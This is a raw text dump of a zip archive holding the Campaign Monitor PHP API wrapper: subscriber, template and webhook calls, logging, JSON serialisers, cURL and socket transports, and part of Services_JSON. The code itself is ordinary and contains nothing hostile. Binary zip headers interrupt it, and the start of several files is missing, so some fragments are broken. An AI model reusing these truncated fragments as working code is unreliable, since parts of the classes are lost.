$this->delete_request($this->_lists_base_route.'webhooks/'.$webhook_id.'.json'); } /** * Activates an existing deactivated webhook * @param string $webhook_id The id of the webhook to activate * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function activate_webhook($webhook_id) { return $this->put_request($this->_lists_base_route.'webhooks/'.$webhook_id.'/activate.json', ''); } /** * Deactivates an existing activated webhook * @param string $webhook_id The id of the webhook to deactivate * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function deactivate_webhook($webhook_id) { return $this->put_request($this->_lists_base_route.'webhooks/'.$webhook_id.'/deactivate.json', ''); } } }PKq\_6lx+x+*campaignmonitor/lib/csrest_subscribers.phpnu[ 'your access token', * 'refresh_token' => 'your refresh token') * * Or if using an API key: * array('api_key' => 'your api key') * @param string $protocol The protocol to use for requests (http|https) * @param int $debug_level The level of debugging required CS_REST_LOG_NONE | CS_REST_LOG_ERROR | CS_REST_LOG_WARNING | CS_REST_LOG_VERBOSE * @param string $host The host to send API requests to. There is no need to change this * @param CS_REST_Log $log The logger to use. Used for dependency injection * @param object|null $serialiser The serialiser to use. Used for dependency injection * @param object|null $transport The transport to use. Used for dependency injection * @access public */ function __construct ( $list_id, $auth_details, $protocol = 'https', $debug_level = CS_REST_LOG_NONE, $host = 'api.createsend.com', $log = NULL, $serialiser = NULL, $transport = NULL) { parent::__construct($auth_details, $protocol, $debug_level, $host, $log, $serialiser, $transport); $this->set_list_id($list_id); } /** * Change the list id used for calls after construction * @param $list_id * @access public */ function set_list_id($list_id) { $this->_subscribers_base_route = $this->_base_route.'subscribers/'.$list_id; } /** * Adds a new subscriber to the specified list * @param array $subscriber The subscriber details to use during creation. * This array should be of the form * array ( * 'EmailAddress' => The new subscribers email address * 'Name' => The name of the new subscriber * 'CustomFields' => array( * array( * 'Key' => The custom fields personalisation tag * 'Value' => The value for this subscriber * ) * ) * 'Resubscribe' => Whether we should resubscribe this subscriber if they already exist in the list * 'RestartSubscriptionBasedAutoResponders' => Whether we should restart subscription based auto responders which are sent when the subscriber first subscribes to a list. * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function add($subscriber) { return $this->post_request($this->_subscribers_base_route.'.json', $subscriber); } /** * Updates an existing subscriber (email, name, state, or custom fields) in the specified list. * The update is performed even for inactive subscribers, but will return an error in the event of the * given email not existing in the list. * @param string $email The email address of the susbcriber to be updated * @param array $subscriber The subscriber details to use for the update. Empty parameters will remain unchanged * This array should be of the form * array ( * 'EmailAddress' => The new email address * 'Name' => The name of the subscriber * 'CustomFields' => array( * array( * 'Key' => The custom fields personalisation tag * 'Value' => The value for this subscriber * 'Clear' => true/false (pass true to remove this custom field. in the case of a [multi-option, select many] field, pass an option in the 'Value' field to clear that option or leave Value blank to remove all options) * ) * ) * 'Resubscribe' => Whether we should resubscribe this subscriber if they already exist in the list * 'RestartSubscriptionBasedAutoResponders' => Whether we should restart subscription based auto responders which are sent when the subscriber first subscribes to a list. * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function update($email, $subscriber) { return $this->put_request($this->_subscribers_base_route.'.json?email='.urlencode($email), $subscriber); } /** * Imports an array of subscribers into the current list * @param array $subscribers An array of subscribers to import. * This array should be of the form * array ( * array ( * 'EmailAddress' => The new subscribers email address * 'Name' => The name of the new subscriber * 'CustomFields' => array( * array( * 'Key' => The custom fields personalisation tag * 'Value' => The value for this subscriber * 'Clear' => true/false (pass true to remove this custom field. in the case of a [multi-option, select many] field, pass an option in the 'Value' field to clear that option or leave Value blank to remove all options) * ) * ) * ) * ) * @param bool $resubscribe Whether we should resubscribe any existing subscribers * @param bool $queueSubscriptionBasedAutoResponders By default, subscription based auto responders do not trigger during an import. Pass a value of true to override this behaviour * @param bool $restartSubscriptionBasedAutoResponders By default, subscription based auto responders will not be restarted * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'TotalUniqueEmailsSubmitted' => The number of unique emails submitted in the call * 'TotalExistingSubscribers' => The number of subscribers who already existed in the list * 'TotalNewSubscribers' => The number of new subscriptions to the list * 'DuplicateEmailsInSubmission' => array The emails which appeared more than once in the batch * 'FailureDetails' => array ( * { * 'EmailAddress' => The email address which failed * 'Code' => The Create Send API Error code * 'Message' => The reason for the failure * } * ) * } * */ function import($subscribers, $resubscribe, $queueSubscriptionBasedAutoResponders = false, $restartSubscriptionBasedAutoResponders = false) { $subscribers = array( 'Resubscribe' => $resubscribe, 'QueueSubscriptionBasedAutoResponders' => $queueSubscriptionBasedAutoResponders, 'Subscribers' => $subscribers, 'RestartSubscriptionBasedAutoresponders' => $restartSubscriptionBasedAutoResponders ); return $this->post_request($this->_subscribers_base_route.'/import.json', $subscribers); } /** * Gets a subscriber details, including custom fields * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'EmailAddress' => The subscriber email address * 'Name' => The subscribers name * 'Date' => The date the subscriber was added to the list * 'State' => The current state of the subscriber * 'CustomFields' => array( * { * 'Key' => The custom fields personalisation tag * 'Value' => The custom field value for this subscriber * } * ) * } */ function get($email) { return $this->get_request($this->_subscribers_base_route.'.json?email='.urlencode($email)); } /** * Gets the sending history to a specific subscriber * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * array( * { * ID => The id of the email which was sent * Type => 'Campaign' * Name => The name of the email * Actions => array( * { * Event => The type of action (Click, Open, Unsubscribe etc) * Date => The date the event occurred * IPAddress => The IP that the event originated from * Detail => Any available details about the event i.e the URL for clicks * } * ) * } * ) */ function get_history($email) { return $this->get_request($this->_subscribers_base_route.'/history.json?email='.urlencode($email)); } /** * Unsubscribes the given subscriber from the current list * @param string $email The email address to unsubscribe * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function unsubscribe($email) { // We need to build the subscriber data structure. $email = array( 'EmailAddress' => $email ); return $this->post_request($this->_subscribers_base_route.'/unsubscribe.json', $email); } /** * deletes the given subscriber from the current list * @param string $email The email address to delete * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function delete($email) { return $this->delete_request($this->_subscribers_base_route.'.json?email='.urlencode($email)); } } }PKq\;yy(campaignmonitor/lib/csrest_templates.phpnu[ 'your access token', * 'refresh_token' => 'your refresh token') * * Or if using an API key: * array('api_key' => 'your api key') * @param $protocol string The protocol to use for requests (http|https) * @param $debug_level int The level of debugging required CS_REST_LOG_NONE | CS_REST_LOG_ERROR | CS_REST_LOG_WARNING | CS_REST_LOG_VERBOSE * @param $host string The host to send API requests to. There is no need to change this * @param $log CS_REST_Log The logger to use. Used for dependency injection * @param $serialiser The serialiser to use. Used for dependency injection * @param $transport The transport to use. Used for dependency injection * @access public */ function __construct ( $template_id, $auth_details, $protocol = 'https', $debug_level = CS_REST_LOG_NONE, $host = 'api.createsend.com', $log = NULL, $serialiser = NULL, $transport = NULL) { parent::__construct($auth_details, $protocol, $debug_level, $host, $log, $serialiser, $transport); $this->set_template_id($template_id); } /** * Change the template id used for calls after construction * @param $template_id * @access public */ function set_template_id($template_id) { $this->_templates_base_route = $this->_base_route.'templates/'.$template_id.'.json'; } /** * Creates a new template for the specified client based on the provided data * @param string $client_id The client to create the template for * @param array $template_details The details of the template * This should be an array of the form * array( * 'Name' => The name of the template * 'HtmlPageURL' => The url where the template html can be accessed * 'ZipFileURL' => The url where the template image zip can be accessed * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be the ID of the newly created template */ function create($client_id, $template_details) { return $this->post_request($this->_base_route.'templates/'.$client_id.'.json', $template_details); } /** * Updates the current template with the provided code * @param array $template_details The details of the template * This should be an array of the form * array( * 'Name' => The name of the template * 'HtmlPageURL' => The url where the template html can be accessed * 'ZipFileURL' => The url where the template image zip can be accessed * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function update($template_details) { return $this->put_request($this->_templates_base_route, $template_details); } /** * Deletes the current template from the system * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function delete() { return $this->delete_request($this->_templates_base_route); } /** * Gets the basic details of the current template * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'TemplateID' => The id of the template * 'Name' => The name of the template * 'PreviewURL' => A url where the template can be previewed from * 'ScreenshotURL' => The url of the template screenshot if one was provided * } */ function get() { return $this->get_request($this->_templates_base_route); } } }PKq\ZBii!campaignmonitor/lib/class/log.phpnu[_level = $level; } function log_message($message, $module, $level) { if($this->_level >= $level) { echo date('G:i:s').' - '.$module.': '.$message."
    \n"; } } } }PKq\I|'.'.*campaignmonitor/lib/class/base_classes.phpnu[response = $response; $this->http_status_code = $code; } /** * Can be used to check if a call to the api resulted in a successful response. * @return boolean False if the call failed. Check the response property for the failure reason. * @access public */ function was_successful() { return $this->http_status_code >= 200 && $this->http_status_code < 300; } } } /** * Base class for the create send PHP wrapper. * This class includes functions to access the general data, * i.e timezones, clients and getting your API Key from username and password * @author tobyb * */ if (!class_exists('CS_REST_Wrapper_Base')) { class CS_REST_Wrapper_Base { /** * The protocol to use while accessing the api * @var string http or https * @access private */ var $_protocol; /** * The base route of the create send api. * @var string * @access private */ var $_base_route; /** * The serialiser to use for serialisation and deserialisation * of API request and response data * @var CS_REST_JsonSerialiser or CS_REST_XmlSerialiser * @access private */ var $_serialiser; /** * The transport to use to send API requests * @var CS_REST_CurlTransport or CS_REST_SocketTransport or your own custom transport. * @access private */ var $_transport; /** * The logger to use for debugging of all API requests * @var CS_REST_Log * @access private */ var $_log; /** * The default options to use for each API request. * These can be overridden by passing in an array as the call_options argument * to a single api request. * Valid options are: * * deserialise boolean: * Set this to false if you want to get the raw response. * This can be useful if your passing json directly to javascript. * * While there are clearly other options there is no need to change them. * @var array * @access private */ var $_default_call_options; /** * Constructor. * @param $auth_details array Authentication details to use for API calls. * This array must take one of the following forms: * If using OAuth to authenticate: * array( * 'access_token' => 'your access token', * 'refresh_token' => 'your refresh token') * * Or if using an API key: * array('api_key' => 'your api key') * * Note that this method will continue to work in the deprecated * case when $auth_details is passed in as a string containing an * API key. * @param $protocol string The protocol to use for requests (http|https) * @param $debug_level int The level of debugging required CS_REST_LOG_NONE | CS_REST_LOG_ERROR | CS_REST_LOG_WARNING | CS_REST_LOG_VERBOSE * @param $host string The host to send API requests to. There is no need to change this * @param $log CS_REST_Log The logger to use. Used for dependency injection * @param $serialiser The serialiser to use. Used for dependency injection * @param $transport The transport to use. Used for dependency injection * @access public */ function __construct( $auth_details, $protocol = 'https', $debug_level = CS_REST_LOG_NONE, $host = CS_HOST, $log = NULL, $serialiser = NULL, $transport = NULL) { if (is_string($auth_details)) { # If $auth_details is a string, assume it is an API key $auth_details = array('api_key' => $auth_details); } $this->_log = is_null($log) ? new CS_REST_Log($debug_level) : $log; $this->_protocol = $protocol; $this->_base_route = $protocol.'://'.$host.'/api/v3.1/'; $this->_log->log_message('Creating wrapper for '.$this->_base_route, get_class($this), CS_REST_LOG_VERBOSE); $this->_transport = is_null($transport) ? CS_REST_TRANSPORT_get_available($this->is_secure(), $this->_log) : $transport; $transport_type = method_exists($this->_transport, 'get_type') ? $this->_transport->get_type() : 'Unknown'; $this->_log->log_message('Using '.$transport_type.' for transport', get_class($this), CS_REST_LOG_WARNING); $this->_serialiser = is_null($serialiser) ? CS_REST_SERIALISATION_get_available($this->_log) : $serialiser; $this->_log->log_message('Using '.$this->_serialiser->get_type().' json serialising', get_class($this), CS_REST_LOG_WARNING); $this->_default_call_options = array ( 'authdetails' => $auth_details, 'userAgent' => 'CS_REST_Wrapper v'.CS_REST_WRAPPER_VERSION. ' PHPv'.phpversion().' over '.$transport_type.' with '.$this->_serialiser->get_type(), 'contentType' => 'application/json; charset=utf-8', 'deserialise' => true, 'host' => $host, 'protocol' => $protocol ); } /** * Refresh the current OAuth token using the current refresh token. * @access public */ function refresh_token() { if (!isset($this->_default_call_options['authdetails']) || !isset($this->_default_call_options['authdetails']['refresh_token'])) { trigger_error( 'Error refreshing token. There is no refresh token set on this object.', E_USER_ERROR); return array(NULL, NULL, NULL); } $body = "grant_type=refresh_token&refresh_token=".urlencode( $this->_default_call_options['authdetails']['refresh_token']); $options = array('contentType' => 'application/x-www-form-urlencoded'); $wrap = new CS_REST_Wrapper_Base( NULL, 'https', CS_REST_LOG_NONE, CS_HOST, NULL, new CS_REST_DoNothingSerialiser(), NULL); $result = $wrap->post_request(CS_OAUTH_TOKEN_URI, $body, $options); if ($result->was_successful()) { $access_token = $result->response->access_token; $expires_in = $result->response->expires_in; $refresh_token = $result->response->refresh_token; $this->_default_call_options['authdetails'] = array( 'access_token' => $access_token, 'refresh_token' => $refresh_token ); return array($access_token, $expires_in, $refresh_token); } else { trigger_error( 'Error refreshing token. '.$result->response->error.': '.$result->response->error_description, E_USER_ERROR); return array(NULL, NULL, NULL); } } /** * @return boolean True if the wrapper is using SSL. * @access public */ function is_secure() { return $this->_protocol === 'https'; } function put_request($route, $data, $call_options = array()) { return $this->_call($call_options, CS_REST_PUT, $route, $data); } function post_request($route, $data, $call_options = array()) { return $this->_call($call_options, CS_REST_POST, $route, $data); } function delete_request($route, $call_options = array()) { return $this->_call($call_options, CS_REST_DELETE, $route); } function get_request($route, $call_options = array()) { return $this->_call($call_options, CS_REST_GET, $route); } function get_request_with_params($route, $params) { if(!is_null($params)) { # http_build_query coerces booleans to 1 and 0, not helpful foreach($params as $key=>$value) { if(is_bool($value)) { $params[$key] = ($value) ? 'true' : 'false'; } } $route = $route . '?' . http_build_query($params); } return $this->get_request($route); } function get_request_paged($route, $page_number, $page_size, $order_field, $order_direction, $join_char = '&') { if(!is_null($page_number)) { $route .= $join_char.'page='.$page_number; $join_char = '&'; } if(!is_null($page_size)) { $route .= $join_char.'pageSize='.$page_size; $join_char = '&'; } if(!is_null($order_field)) { $route .= $join_char.'orderField='.$order_field; $join_char = '&'; } if(!is_null($order_direction)) { $route .= $join_char.'orderDirection='.$order_direction; $join_char = '&'; } return $this->get_request($route); } /** * Internal method to make a general API request based on the provided options * @param $call_options * @access private */ function _call($call_options, $method, $route, $data = NULL) { $call_options['route'] = $route; $call_options['method'] = $method; if(!is_null($data)) { $call_options['data'] = $this->_serialiser->serialise($data); } $call_options = array_merge($this->_default_call_options, $call_options); $this->_log->log_message('Making '.$call_options['method'].' call to: '.$call_options['route'], get_class($this), CS_REST_LOG_WARNING); $call_result = $this->_transport->make_call($call_options); $this->_log->log_message('Call result:
    '.var_export($call_result, true).'
    ', get_class($this), CS_REST_LOG_VERBOSE); if($call_options['deserialise']) { $call_result['response'] = $this->_serialiser->deserialise($call_result['response']); } return new CS_REST_Wrapper_Result($call_result['response'], $call_result['code']); } } }PKq\+׹(campaignmonitor/lib/class/exceptions.phpnu[log_message('Getting serialiser', __FUNCTION__, CS_REST_LOG_VERBOSE); if(function_exists('json_decode') && function_exists('json_encode')) { return new CS_REST_NativeJsonSerialiser($log); } else { return new CS_REST_ServicesJsonSerialiser($log); } } } if (!class_exists('CS_REST_BaseSerialiser')) { class CS_REST_BaseSerialiser { var $_log; function __construct($log) { $this->_log = $log; } /** * Recursively ensures that all data values are utf-8 encoded. * @param array $data All values of this array are checked for utf-8 encoding. */ function check_encoding($data) { foreach($data as $k => $v) { // If the element is a sub-array then recusively encode the array if(is_array($v)) { $data[$k] = $this->check_encoding($v); // Otherwise if the element is a string then we need to check the encoding } else if(is_string($v)) { if((function_exists('mb_detect_encoding') && mb_detect_encoding($v) !== 'UTF-8') || (function_exists('mb_check_encoding') && !mb_check_encoding($v, 'UTF-8'))) { // The string is using some other encoding, make sure we utf-8 encode $v = utf8_encode($v); } $data[$k] = $v; } } return $data; } } } if (!class_exists('CS_REST_DoNothingSerialiser')) { class CS_REST_DoNothingSerialiser extends CS_REST_BaseSerialiser { function __construct() {} function get_type() { return 'do_nothing'; } function serialise($data) { return $data; } function deserialise($text) { $data = json_decode($text); return is_null($data) ? $text : $data; } function check_encoding($data) { return $data; } } } if (!class_exists('CS_REST_NativeJsonSerialiser')) { class CS_REST_NativeJsonSerialiser extends CS_REST_BaseSerialiser { function get_format() { return 'json'; } function get_type() { return 'native'; } function serialise($data) { if(is_null($data) || $data == '') return ''; return json_encode($this->check_encoding($data)); } function deserialise($text) { $data = json_decode($text); return $this->strip_surrounding_quotes(is_null($data) ? $text : $data); } /** * We've had sporadic reports of people getting ID's from create routes with the surrounding quotes present. * There is no case where these should be present. Just get rid of it. */ function strip_surrounding_quotes($data) { if(is_string($data)) { return trim($data, '"'); } return $data; } } } if (!class_exists('CS_REST_ServicesJsonSerialiser')) { class CS_REST_ServicesJsonSerialiser extends CS_REST_BaseSerialiser { var $_serialiser; function __construct($log) { parent::__construct($log); $this->_serialiser = new Services_JSON(); } function get_content_type() { return 'application/json'; } function get_format() { return 'json'; } function get_type() { return 'services_json'; } function serialise($data) { if(is_null($data) || $data == '') return ''; return $this->_serialiser->encode($this->check_encoding($data)); } function deserialise($text) { $data = $this->_serialiser->decode($text); return is_null($data) ? $text : $data; } } }PKq\<~?55'campaignmonitor/lib/class/transport.phpnu[log_message('No transport is available', __FUNCTION__, CS_REST_LOG_ERROR); trigger_error('No transport is available.'. ($requires_ssl ? ' Try using non-secure (http) mode or ' : ' Please '). 'ensure the cURL extension is loaded', E_USER_ERROR); } } } if(!function_exists("CS_REST_TRANSPORT_can_use_raw_socket")) { function CS_REST_TRANSPORT_can_use_raw_socket($requires_ssl) { if(function_exists('fsockopen')) { if($requires_ssl) { return extension_loaded('openssl'); } return true; } return false; } } if (!class_exists('CS_REST_BaseTransport')) { class CS_REST_BaseTransport { var $_log; function __construct($log) { $this->_log = $log; } function split_and_inflate($response, $may_be_compressed) { $ra = explode("\r\n\r\n", $response); $result = array_pop($ra); $headers = array_pop($ra); if($may_be_compressed && preg_match('/^Content-Encoding:\s+gzip\s+$/im', $headers)) { $original_length = strlen($response); $result = gzinflate(substr($result, 10, -8)); $this->_log->log_message('Inflated gzipped response: '.$original_length.' bytes ->'. strlen($result).' bytes', get_class(), CS_REST_LOG_VERBOSE); } return array($headers, $result); } } } /** * Provide HTTP request functionality via cURL extensions * * @author tobyb * @since 1.0 */ if (!class_exists('CS_REST_CurlTransport')) { class CS_REST_CurlTransport extends CS_REST_BaseTransport { var $_curl_zlib; function __construct($log) { parent::__construct($log); $curl_version = curl_version(); $this->_curl_zlib = isset($curl_version['libz_version']); } /** * @return string The type of transport used */ function get_type() { return 'cURL'; } function make_call($call_options) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $call_options['route']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); $headers = array(); $headers[] = 'Content-Type: '.$call_options['contentType']; if (array_key_exists('authdetails', $call_options) && isset($call_options['authdetails'])) { if (array_key_exists('username', $call_options['authdetails']) && array_key_exists('password', $call_options['authdetails'])) { # Authenticating using basic auth for retrieving user's API key. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch, CURLOPT_USERPWD, $call_options['authdetails']['username'].':'.$call_options['authdetails']['password']); } elseif (array_key_exists('access_token', $call_options['authdetails'])) { # Authenticating using OAuth. $access_token = $call_options['authdetails']['access_token']; $headers[] = 'Authorization: Bearer '.$access_token; } elseif (array_key_exists('api_key', $call_options['authdetails'])) { # Authenticating using an API key. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); $api_key = $call_options['authdetails']['api_key']; curl_setopt($ch, CURLOPT_USERPWD, $api_key.':nopass'); } } curl_setopt($ch, CURLOPT_USERAGENT, $call_options['userAgent']); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, CS_REST_SOCKET_TIMEOUT); curl_setopt($ch, CURLOPT_TIMEOUT, CS_REST_CALL_TIMEOUT); $inflate_response = false; if($this->_curl_zlib) { $this->_log->log_message('curl+zlib support available. Requesting gzipped response.', get_class($this), CS_REST_LOG_VERBOSE); curl_setopt($ch, CURLOPT_ENCODING, 'gzip'); } else if(function_exists('gzinflate')) { $headers[] = 'Accept-Encoding: gzip'; $inflate_response = true; } if($call_options['protocol'] === 'https') { curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); if(strlen(ini_get('curl.cainfo')) === 0) { curl_setopt($ch, CURLOPT_CAINFO, dirname(__FILE__).'/cacert.pem'); } } switch($call_options['method']) { case CS_REST_PUT: curl_setopt($ch, CURLOPT_CUSTOMREQUEST, CS_REST_PUT); $headers[] = 'Content-Length: '.strlen($call_options['data']); curl_setopt($ch, CURLOPT_POSTFIELDS, $call_options['data']); break; case CS_REST_POST: curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, isset($call_options['data']) ? $call_options['data'] : ''); break; case CS_REST_DELETE: curl_setopt($ch, CURLOPT_CUSTOMREQUEST, CS_REST_DELETE); break; } if(count($headers) > 0) { curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } $response = curl_exec($ch); if(!$response && $response !== '') { $this->_log->log_message('Error making request with curl_error: '.curl_errno($ch), get_class($this), CS_REST_LOG_ERROR); require_once dirname(__FILE__).'/exceptions.php'; throw new CurlException(curl_error($ch), curl_errno($ch)); } list( $headers, $result ) = $this->split_and_inflate($response, $inflate_response); $this->_log->log_message('API Call Info for '.$call_options['method'].' '. curl_getinfo($ch, CURLINFO_EFFECTIVE_URL).': '.curl_getinfo($ch, CURLINFO_SIZE_UPLOAD). ' bytes uploaded. '.curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD).' bytes downloaded'. ' Total time (seconds): '.curl_getinfo($ch, CURLINFO_TOTAL_TIME), get_class($this), CS_REST_LOG_VERBOSE); $result = array( 'code' => curl_getinfo($ch, CURLINFO_HTTP_CODE), 'response' => $result ); curl_close($ch); return $result; } } } if (!class_exists('CS_REST_SocketWrapper')) { class CS_REST_SocketWrapper { var $socket; function open($domain, $port) { $this->socket = fsockopen($domain, $port, $errno, $errstr, CS_REST_SOCKET_TIMEOUT); if(!$this->socket) { die('Error making request with '.$errno.': '.$errstr); return false; } else if(function_exists('stream_set_timeout')) { stream_set_timeout($this->socket, CS_REST_SOCKET_TIMEOUT); } return true; } function write($data) { fwrite($this->socket, $data); } function read() { ob_start(); fpassthru($this->socket); return ob_get_clean(); } function close() { fclose($this->socket); } } } if (!class_exists('CS_REST_SocketTransport')) { class CS_REST_SocketTransport extends CS_REST_BaseTransport { var $_socket_wrapper; function __construct($log, $socket_wrapper = NULL) { parent::__construct($log); if(is_null($socket_wrapper)) { $socket_wrapper = new CS_REST_SocketWrapper(); } $this->_socket_wrapper = $socket_wrapper; } /** * @return string The type of transport used */ function get_type() { return 'Socket'; } function make_call($call_options) { $start_host = strpos($call_options['route'], $call_options['host']); $host_len = strlen($call_options['host']); $domain = substr($call_options['route'], $start_host, $host_len); $host = $domain; $path = substr($call_options['route'], $start_host + $host_len); $protocol = substr($call_options['route'], 0, $start_host); $port = 80; $this->_log->log_message('Creating socket to '.$domain.' over '.$protocol.' for request to '.$path, get_class($this), CS_REST_LOG_VERBOSE); if($protocol === 'https://') { $domain = 'ssl://'.$domain; $port = 443; } if($this->_socket_wrapper->open($domain, $port)) { $inflate_response = function_exists('gzinflate'); $request = $this->_build_request($call_options, $host, $path, $inflate_response); $this->_log->log_message('Sending
    '.$request.'
    down the socket', get_class($this), CS_REST_LOG_VERBOSE); $this->_socket_wrapper->write($request); $response = $this->_socket_wrapper->read(); $this->_socket_wrapper->close(); $this->_log->log_message('API Call Info for '.$call_options['method'].' '. $call_options['route'].': '.strlen($request). ' bytes uploaded. '.strlen($response).' bytes downloaded', get_class($this), CS_REST_LOG_VERBOSE); list( $headers, $result ) = $this->split_and_inflate($response, $inflate_response); $this->_log->log_message('Received headers
    '.$headers.'
    ', get_class($this), CS_REST_LOG_VERBOSE); return array( 'code' => $this->_get_status_code($headers), 'response' => trim($result) ); } } function _get_status_code($headers) { if (preg_match('%^\s*HTTP/1\.1 (?P\d{3})%', $headers, $regs)) { $this->_log->log_message('Got HTTP Status Code: '.$regs['code'], get_class($this), CS_REST_LOG_VERBOSE); return $regs['code']; } $this->_log->log_message('Failed to get HTTP status code from request headers
    '.$headers.'
    ', get_class($this), CS_REST_LOG_ERROR); trigger_error('Failed to get HTTP status code from request', E_USER_ERROR); } function _build_request($call_options, $host, $path, $accept_gzip) { $request_auth_details = ''; if (array_key_exists('authdetails', $call_options)) { if (array_key_exists('username', $call_options['authdetails']) && array_key_exists('password', $call_options['authdetails'])) { # Authenticating using basic auth for retrieving user's API key. $request_auth_details .= 'Authorization: Basic '.base64_encode($call_options['authdetails']['username'].':'.$call_options['authdetails']['password'])."\n"; } elseif (array_key_exists('access_token', $call_options['authdetails'])) { # Authenticating using OAuth. $access_token = $call_options['authdetails']['access_token']; $request_auth_details .= 'Authorization: Bearer '.$access_token."\n"; } elseif (array_key_exists('api_key', $call_options['authdetails'])) { # Authenticating using an API key. $api_key = $call_options['authdetails']['api_key']; $request_auth_details .= 'Authorization: Basic '.base64_encode($api_key.':nopass')."\n"; } } $request = $call_options['method'].' '.$path." HTTP/1.1\n". 'Host: '.$host."\n". $request_auth_details. 'User-Agent: '.$call_options['userAgent']."\n". "Connection: Close\n". 'Content-Type: '.$call_options['contentType']."\n"; if($accept_gzip) { $request .= "Accept-Encoding: gzip\n"; } if(isset($call_options['data'])) { $request .= 'Content-Length: '.strlen($call_options['data'])."\n\n". $call_options['data']; } return $request."\n\n"; } } }PKq\+campaignmonitor/lib/class/services_json.phpnu[ * @author Matt Knapp * @author Brett Stimmerman * @copyright 2005 Michal Migurski * @version CVS: $Id: JSON.php,v 1.31 2006/06/28 05:54:17 migurski Exp $ * @license http://www.opensource.org/licenses/bsd-license.php * @link http://pear.php.net/pepr/pepr-proposal-show.php?id=198 */ /** * Marker constant for Services_JSON::decode(), used to flag stack state */ defined('SERVICES_JSON_SLICE') or define('SERVICES_JSON_SLICE', 1); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ defined('SERVICES_JSON_IN_STR') or define('SERVICES_JSON_IN_STR', 2); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ defined('SERVICES_JSON_IN_ARR') or define('SERVICES_JSON_IN_ARR', 3); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ defined('SERVICES_JSON_IN_OBJ') or define('SERVICES_JSON_IN_OBJ', 4); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ defined('SERVICES_JSON_IN_CMT') or define('SERVICES_JSON_IN_CMT', 5); /** * Behavior switch for Services_JSON::decode() */ defined('SERVICES_JSON_LOOSE_TYPE') or define('SERVICES_JSON_LOOSE_TYPE', 16); /** * Behavior switch for Services_JSON::decode() */ defined('SERVICES_JSON_SUPPRESS_ERRORS') or define('SERVICES_JSON_SUPPRESS_ERRORS', 32); /** * Converts to and from JSON format. * * Brief example of use: * * * // create a new instance of Services_JSON * $json = new Services_JSON(); * * // convert a complexe value to JSON notation, and send it to the browser * $value = array('foo', 'bar', array(1, 2, 'baz'), array(3, array(4))); * $output = $json->encode($value); * * print($output); * // prints: ["foo","bar",[1,2,"baz"],[3,[4]]] * * // accept incoming POST data, assumed to be in JSON notation * $input = file_get_contents('php://input', 1000000); * $value = $json->decode($input); * */ if (!class_exists('Services_JSON')) { class Services_JSON { /** * constructs a new JSON instance * * @param int $use object behavior flags; combine with boolean-OR * * possible values: * - SERVICES_JSON_LOOSE_TYPE: loose typing. * "{...}" syntax creates associative arrays * instead of objects in decode(). * - SERVICES_JSON_SUPPRESS_ERRORS: error suppression. * Values which can't be encoded (e.g. resources) * appear as NULL instead of throwing errors. * By default, a deeply-nested resource will * bubble up with an error, so all return values * from encode() should be checked with isError() */ function __construct($use = 0) { $this->use = $use; } /** * convert a string from one UTF-16 char to one UTF-8 char * * Normally should be handled by mb_convert_encoding, but * provides a slower PHP-only method for installations * that lack the multibye string extension. * * @param string $utf16 UTF-16 character * @return string UTF-8 character * @access private */ function utf162utf8($utf16) { // oh please oh please oh please oh please oh please if(function_exists('mb_convert_encoding')) { return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16'); } $bytes = (ord($utf16{0}) << 8) | ord($utf16{1}); switch(true) { case ((0x7F & $bytes) == $bytes): // this case should never be reached, because we are in ASCII range // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0x7F & $bytes); case (0x07FF & $bytes) == $bytes: // return a 2-byte UTF-8 character // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0xC0 | (($bytes >> 6) & 0x1F)) . chr(0x80 | ($bytes & 0x3F)); case (0xFFFF & $bytes) == $bytes: // return a 3-byte UTF-8 character // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0xE0 | (($bytes >> 12) & 0x0F)) . chr(0x80 | (($bytes >> 6) & 0x3F)) . chr(0x80 | ($bytes & 0x3F)); } // ignoring UTF-32 for now, sorry return ''; } /** * convert a string from one UTF-8 char to one UTF-16 char * * Normally should be handled by mb_convert_encoding, but * provides a slower PHP-only method for installations * that lack the multibye string extension. * * @param string $utf8 UTF-8 character * @return string UTF-16 character * @access private */ function utf82utf16($utf8) { // oh please oh please oh please oh please oh please if(function_exists('mb_convert_encoding')) { return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8'); } switch(strlen($utf8)) { case 1: // this case should never be reached, because we are in ASCII range // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return $utf8; case 2: // return a UTF-16 character from a 2-byte UTF-8 char // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0x07 & (ord($utf8{0}) >> 2)) . chr((0xC0 & (ord($utf8{0}) << 6)) | (0x3F & ord($utf8{1}))); case 3: // return a UTF-16 character from a 3-byte UTF-8 char // see: 